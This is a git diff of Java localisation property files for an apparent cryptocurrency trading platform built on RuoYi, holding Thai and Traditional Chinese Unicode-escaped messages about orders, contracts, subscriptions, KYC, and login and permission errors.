+currency.exchange_max=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} +exchange_error=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E22\u0E2D\u0E14\u0E40\u0E07\u0E34\u0E19\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35 +exchange.record.exist.error=\u0E04\u0E38\u0E13\u0E01\u0E33\u0E25\u0E31\u0E07\u0E41\u0E25\u0E01 \u0E42\u0E1B\u0E23\u0E14\u0E25\u0E2D\u0E07\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07\u0E43\u0E19\u0E20\u0E32\u0E22\u0E2B\u0E25\u0E31\u0E07 +#\u79D2\u5408\u7EA6 +order_amount_error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E43\u0E19\u0E01\u0E23\u0E30\u0E40\u0E1B\u0E4B\u0E32\u0E2A\u0E15\u0E32\u0E07\u0E04\u0E4C\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D \u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49 +order_10s_retry=\u0E21\u0E35\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E1A\u0E48\u0E2D\u0E22\u0E40\u0E01\u0E34\u0E19\u0E44\u0E1B \u0E42\u0E1B\u0E23\u0E14\u0E25\u0E2D\u0E07\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E2B\u0E25\u0E31\u0E07\u0E08\u0E32\u0E01\u0E1C\u0E48\u0E32\u0E19\u0E44\u0E1B 10 \u0E27\u0E34\u0E19\u0E32\u0E17\u0E35... +#\u7406\u8D22 +user.push.message=\u0E1B\u0E34\u0E14\u0E01\u0E32\u0E23\u0E43\u0E0A\u0E49\u0E07\u0E32\u0E19\u0E01\u0E32\u0E23\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23\u0E02\u0E2D\u0E07\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49 +mine.level.error=\u0E23\u0E30\u0E14\u0E31\u0E1A VIP \u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D\u0E17\u0E35\u0E48\u0E08\u0E30\u0E0B\u0E37\u0E49\u0E2D\u0E1C\u0E25\u0E34\u0E15\u0E20\u0E31\u0E13\u0E11\u0E4C\u0E17\u0E32\u0E07\u0E01\u0E32\u0E23\u0E40\u0E07\u0E34\u0E19\u0E23\u0E2D\u0E07 +order.single.min=\u0E22\u0E2D\u0E14\u0E0B\u0E37\u0E49\u0E2D\u0E15\u0E48\u0E33\u0E01\u0E27\u0E48\u0E32\u0E22\u0E2D\u0E14\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49 +order.single.max=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E40\u0E01\u0E34\u0E19\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49 +order.buy.insufficient=\u0E02\u0E13\u0E30\u0E19\u0E35\u0E49\u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49\u0E16\u0E36\u0E07 {0} +product.removed=\u0E1C\u0E25\u0E34\u0E15\u0E20\u0E31\u0E13\u0E11\u0E4C\u0E19\u0E35\u0E49\u0E16\u0E39\u0E01\u0E22\u0E01\u0E40\u0E25\u0E34\u0E01\u0E01\u0E32\u0E23\u0E1C\u0E25\u0E34\u0E15\u0E41\u0E25\u0E49\u0E27 +financial.count.max=\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E23\u0E32\u0E22\u0E19\u0E35\u0E49\u0E16\u0E36\u0E07\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14\u0E41\u0E25\u0E49\u0E27\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E0B\u0E37\u0E49\u0E2D +days.not.null=\u0E27\u0E07\u0E08\u0E23\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32 +days.not.error=\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E23\u0E2D\u0E1A\u0E01\u0E32\u0E23\u0E08\u0E31\u0E14\u0E0B\u0E37\u0E49\u0E2D\u0E08\u0E31\u0E14\u0E08\u0E49\u0E32\u0E07 +contract.accont.error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E2A\u0E31\u0E0D\u0E0D\u0E32\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +contract.min.share=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +contract.max.share=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} +contract.asset.error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E2A\u0E31\u0E0D\u0E0D\u0E32\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +adjust.min.error=\u0E2D\u0E31\u0E15\u0E23\u0E32\u0E01\u0E33\u0E44\u0E23\u0E02\u0E31\u0E49\u0E19\u0E15\u0E49\u0E19\u0E17\u0E35\u0E48\u0E25\u0E14\u0E25\u0E07\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E2D\u0E31\u0E15\u0E23\u0E32\u0E01\u0E33\u0E44\u0E23\u0E02\u0E31\u0E49\u0E19\u0E15\u0E49\u0E19\u0E44\u0E14\u0E49 +order.status.error=\u0E22\u0E37\u0E48\u0E19\u0E41\u0E1A\u0E1A\u0E1C\u0E34\u0E14\u0E01\u0E0E\u0E2B\u0E21\u0E32\u0E22 +contract.buy.earn.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E0B\u0E37\u0E49\u0E2D\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07 \u0E23\u0E32\u0E04\u0E32\u0E17\u0E33\u0E01\u0E33\u0E44\u0E23\u0E08\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E15\u0E48\u0E33\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.buy.loss.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E0B\u0E37\u0E49\u0E2D \u0E23\u0E32\u0E04\u0E32\u0E2B\u0E22\u0E38\u0E14\u0E02\u0E32\u0E14\u0E17\u0E38\u0E19\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E2A\u0E39\u0E07\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.sell.earn.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E02\u0E32\u0E22\u0E0A\u0E2D\u0E23\u0E4C\u0E15 \u0E23\u0E32\u0E04\u0E32\u0E17\u0E33\u0E01\u0E33\u0E44\u0E23\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E2A\u0E39\u0E07\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.sell.loss.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E02\u0E32\u0E22\u0E0A\u0E2D\u0E23\u0E4C\u0E15 \u0E23\u0E32\u0E04\u0E32\u0E2B\u0E22\u0E38\u0E14\u0E02\u0E32\u0E14\u0E17\u0E38\u0E19\u0E08\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E15\u0E48\u0E33\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.num.limit=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07 +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +order.amount_error=\u0E22\u0E2D\u0E14\u0E40\u0E07\u0E34\u0E19\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E01\u0E32\u0E23\u0E40\u0E07\u0E34\u0E19\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D + +order.10s_retry=\u0E21\u0E35\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E1A\u0E48\u0E2D\u0E22\u0E40\u0E01\u0E34\u0E19\u0E44\u0E1B \u0E42\u0E1B\u0E23\u0E14\u0E25\u0E2D\u0E07\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E2B\u0E25\u0E31\u0E07\u0E08\u0E32\u0E01\u0E1C\u0E48\u0E32\u0E19\u0E44\u0E1B 10 \u0E27\u0E34\u0E19\u0E32\u0E17\u0E35... +order_amount_limit=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E1C\u0E34\u0E14\u0E01\u0E0E\u0E2B\u0E21\u0E32\u0E22 + +contract.delivery.day=\u0E01\u0E32\u0E23\u0E08\u0E31\u0E14\u0E2A\u0E48\u0E07\u0E22\u0E31\u0E07\u0E04\u0E07\u0E2D\u0E22\u0E39\u0E48: {0} \u0E27\u0E31\u0E19 +contract.delivery.margan=\u0E22\u0E31\u0E07\u0E21\u0E35\u0E40\u0E27\u0E25\u0E32: {0} \u0E27\u0E31\u0E19\u0E01\u0E48\u0E2D\u0E19\u0E2A\u0E48\u0E07\u0E21\u0E2D\u0E1A \u0E2B\u0E32\u0E01\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {1} USDT \u0E2B\u0E23\u0E37\u0E2D\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {2} USDT \u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E25\u0E48\u0E27\u0E07\u0E2B\u0E19\u0E49\u0E32\u0E44\u0E14\u0E49 +contract.delivery.earn= \u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E40\u0E27\u0E25\u0E32\u0E2D\u0E35\u0E01 {0} \u0E27\u0E31\u0E19\u0E01\u0E48\u0E2D\u0E19\u0E16\u0E36\u0E07\u0E40\u0E27\u0E25\u0E32\u0E2A\u0E48\u0E07\u0E21\u0E2D\u0E1A \u0E2B\u0E32\u0E01\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {1} USDT \u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E25\u0E48\u0E27\u0E07\u0E2B\u0E19\u0E49\u0E32\u0E44\u0E14\u0E49 +contract.delivery.loss=\u0E22\u0E31\u0E07\u0E21\u0E35\u0E40\u0E27\u0E25\u0E32: {0} \u0E27\u0E31\u0E19\u0E01\u0E48\u0E2D\u0E19\u0E16\u0E36\u0E07\u0E40\u0E27\u0E25\u0E32\u0E2A\u0E48\u0E07\u0E21\u0E2D\u0E1A \u0E2B\u0E32\u0E01\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {1}USDT \u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E25\u0E48\u0E27\u0E07\u0E2B\u0E19\u0E49\u0E32\u0E44\u0E14\u0E49 +order.audit.error=\u0E2A\u0E48\u0E07\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E1B\u0E34\u0E14\u0E41\u0E25\u0E49\u0E27 +order.audit.pass=\u0E01\u0E33\u0E25\u0E31\u0E07\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23\u0E40\u0E15\u0E34\u0E21\u0E40\u0E07\u0E34\u0E19\u0E41\u0E25\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E01\u0E32\u0E23\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E08\u0E32\u0E01 5 \u0E42\u0E2B\u0E19\u0E14\u0E17\u0E31\u0E48\u0E27\u0E42\u0E25\u0E01 \u0E42\u0E1B\u0E23\u0E14\u0E23\u0E2D. + +#\u7533\u8D2D +own.coin.limit.num=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E17\u0E35\u0E48\u0E21\u0E35\u0E2D\u0E22\u0E39\u0E48{0} +own.coin.limit=\u0E22\u0E2D\u0E14\u0E40\u0E07\u0E34\u0E19\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D{0} +own.coin.success=\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +own.coin.error=\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E01\u0E34\u0E14\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A +own.coin.sub.play=\u0E04\u0E38\u0E13\u0E44\u0E14\u0E49\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E41\u0E25\u0E49\u0E27 \u0E01\u0E23\u0E38\u0E13\u0E32\u0E2D\u0E22\u0E48\u0E32\u0E2A\u0E48\u0E07\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07! +own.coin.sub.error=\u0E01\u0E32\u0E23\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E08\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E43\u0E0A\u0E49\u0E44\u0E14\u0E49\u0E2B\u0E32\u0E01\u0E04\u0E38\u0E13\u0E22\u0E31\u0E07\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +own.coin.sub.success=\u0E04\u0E38\u0E13\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E04\u0E38\u0E13\u0E2A\u0E21\u0E1A\u0E31\u0E15\u0E34\u0E01\u0E32\u0E23\u0E2A\u0E21\u0E31\u0E04\u0E23 {0} +own.coin.sub.num.error=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E01\u0E23\u0E2D\u0E01\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E43\u0E2B\u0E49\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 +order.sell.min.error=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E02\u0E32\u0E22\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +order.audit.reject=\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E44\u0E14\u0E49 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +own.coin.subscribe.error=\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E25\u0E49\u0E21\u0E40\u0E2B\u0E25\u0E27 +withdraw.kyc.error=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E01\u0E23\u0E2D\u0E01\u0E01\u0E32\u0E23\u0E23\u0E31\u0E1A\u0E23\u0E2D\u0E07\u0E04\u0E27\u0E32\u0E21\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07\u0E02\u0E2D\u0E07\u0E0A\u0E37\u0E48\u0E2D\u0E08\u0E23\u0E34\u0E07\u0E01\u0E48\u0E2D\u0E19\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E22\u0E01\u0E40\u0E25\u0E34\u0E01\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14 +exchange_symbol_error_exist=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E43\u0E0A\u0E49\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19 +currency.coin.setting.nonexistent=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E01\u0E32\u0E23\u0E01\u0E33\u0E2B\u0E19\u0E14\u0E04\u0E48\u0E32 {} \u0E1B\u0E31\u0E08\u0E08\u0E38\u0E1A\u0E31\u0E19 +currency.balance.deficiency=\u0E22\u0E2D\u0E14\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E1B\u0E31\u0E08\u0E08\u0E38\u0E1A\u0E31\u0E19 {} \u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +currency.deal.error=\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E19\u0E35\u0E49\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E02\u0E32\u0E22\u0E44\u0E14\u0E49 +back.code.exist.error=\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E18\u0E19\u0E32\u0E04\u0E32\u0E23\u0E21\u0E35\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u0E42\u0E1B\u0E23\u0E14\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23\u0E23\u0E31\u0E1A\u0E23\u0E2D\u0E07\u0E2B\u0E25\u0E31\u0E01\u0E01\u0E48\u0E2D\u0E19 + +#\u9ED1\u540D\u5355 +user_is_black = \u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E16\u0E39\u0E01\u0E41\u0E1A\u0E25\u0E47\u0E04\u0E25\u0E34\u0E2A\u0E15\u0E4C\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E44\u0E14\u0E49 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +currency.order.max.error= \u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/i18n/messages_tw.properties b/ruoyi-api/src/main/resources/i18n/messages_tw.properties new file mode 100644 index 0000000..aa7b2e7 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_tw.properties @@ -0,0 +1,170 @@ +user.appname=\u4E2D\u6587\u7E41\u4F53 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u9808\u586B\u5BEB +user.jcaptcha.error=\u9A57\u8B49\u78BC\u932F\u8AA4 +user.jcaptcha.expire=\u9A57\u8B49\u78BC\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6236\u4E0D\u5B58\u5728/\u5BC6\u78BC\u932F\u8AA4 +user.password.not.match=\u7528\u6236\u4E0D\u5B58\u5728/\u5BC6\u78BC\u932F\u8AA4 +user.password.retry.limit.count=\u5BC6\u78BC\u8F38\u5165\u932F\u8AA4{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u78BC\u8F38\u5165\u932F\u8AA4{0}\u6B21\uFF0C\u5E33\u6236\u9396\u5B9A{1}\u5206\u9418 +user.password.delete=\u5C0D\u4E0D\u8D77\uFF0C\u60A8\u7684\u8CEC\u865F\u5DF2\u88AB\u522A\u9664 +user.blocked=\u7528\u6236\u5DF2\u5C01\u7981\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1 +login.blocked=\u5F88\u907A\u61BE\uFF0C\u8A2A\u554FIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7D71\u9ED1\u540D\u55AE +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u9577\u5EA6\u5FC5\u9808\u5728{min}\u5230{max}\u500B\u5B57\u7B26\u4E4B\u9593 + +user.username.not.valid=* 2\u523020\u500B\u6F22\u5B57\u3001\u5B57\u6BCD\u3001\u6578\u5B57\u6216\u4E0B\u5283\u7DDA\u7D44\u6210\uFF0C\u4E14\u5FC5\u9808\u4EE5\u975E\u6578\u5B57\u958B\u982D +user.password.not.valid=* 5-50\u500B\u5B57\u7B26 + +user.email.not.valid=\u90F5\u7BB1\u683C\u5F0F\u932F\u8AA4 +user.mobile.phone.number.not.valid=\u624B\u6A5F\u865F\u683C\u5F0F\u932F\u8AA4 +user.login.success=\u767B\u9304\u6210\u529F +user.register.success=\u8A3B\u518A\u6210\u529F +user.notfound=\u8ACB\u91CD\u65B0\u767B\u9304 +user.forcelogout=\u7BA1\u7406\u54E1\u5F37\u5236\u9000\u51FA\uFF0C\u8ACB\u91CD\u65B0\u767B\u9304 +user.unknown.error=\u672A\u77E5\u932F\u8AA4\uFF0C\u8ACB\u91CD\u65B0\u767B\u9304 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB! +upload.filename.exceed.length=\u4E0A\u50B3\u7684\u6587\u4EF6\u540D\u6700\u9577{0}\u500B\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6C92\u6709\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.create.permission=\u60A8\u6C92\u6709\u5275\u5EFA\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.update.permission=\u60A8\u6C92\u6709\u4FEE\u6539\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.delete.permission=\u60A8\u6C92\u6709\u522A\u9664\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.export.permission=\u60A8\u6C92\u6709\u5C0E\u51FA\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.view.permission=\u60A8\u6C92\u6709\u67E5\u770B\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90F5\u7BB1\u683C\u5F0F\u4E0D\u6B63\u78BA +user.register.email.exisit=\u90F5\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u624B\u6A5F\u865F\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6236\u540D\u5DF2\u7D93\u5B58\u5728 +login.user_error=\u7528\u6236\u540D\u6216\u5BC6\u78BC\u932F\u8AA4 +user.login.address.error=\u5730\u5740\u88AB\u4F54\u7528! 